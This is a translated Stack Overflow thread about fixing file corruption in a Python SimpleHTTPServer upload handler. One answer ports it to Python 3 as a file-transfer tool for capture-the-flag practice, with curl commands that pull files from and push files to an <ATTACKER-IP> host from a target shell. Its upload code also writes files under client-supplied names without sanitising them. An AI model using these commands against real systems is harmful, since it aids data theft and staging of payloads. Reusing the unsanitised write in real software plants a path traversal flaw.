Python SimpleHTTPServer用于接收文件。

18
我正在使用SimpleHTTPServer的do_POST方法来接收文件。如果我使用curl上传png文件,则脚本正常工作,但是每当我使用Python请求库上传文件时,文件会上传但变得损坏。这是SimpleHTTPServer代码。
#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

客户端上传文件的代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件上传成功,但已损坏。 Python请求头 SimpleHTTPServer响应 使用curl [ curl -F 'file=@test.png' 192.168.5.134:8000/ -v ],文件上传并成功打开。
Python请求代码有问题吗?
2个回答

25

2019更新:今天在玩hackthebox.eu时,我正在寻找这个功能。我对Python不是很熟悉,但最终我将这个例子移植到了Python 3上,因为Python 2基本上已经死亡。

希望这能帮助任何在2019年寻找这个功能的人,我也很乐意听取改进代码的方式。在https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c获取它

感谢问题提问者和那些提供信息的人!

编辑:有人要求我粘贴代码,没问题。出于简洁起见,我删掉了一些注释,以下是一些说明:

  1. 基于bones7456的gist,因为归属问题很重要。
  2. 我从响应中删除了HTML,因为我在我的用例中不需要它。
  3. 在野外使用此工具存在风险。我用它在HTB服务器之间移动文件,所以在当前形式下,它基本上是一个玩具。
  4. 黑客帝国等等。

从攻击设备的工具/数据文件夹或您正在枢轴转移的计算机中运行脚本。从目标PC连接到它,以便简便地来回推送文件。

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

代码:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

谢谢 - 我正准备自己移植它。这真是省了时间! - WestCoastProjects
简单的上传表单:<form method=post action=/ enctype=multipart/form-data> <input type=file name=file> <input type=submit> </form> - mwfearnley

7

curlrequest的头部略有不同,curlrequests多了一行空行。

请使用以下代码块替换preline = self.rfile.readline()

if line.strip():
    preline = line
else:
    preline = self.rfile.readline()

太棒了!:) 非常感谢您,@Maximilan先生。 - john

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接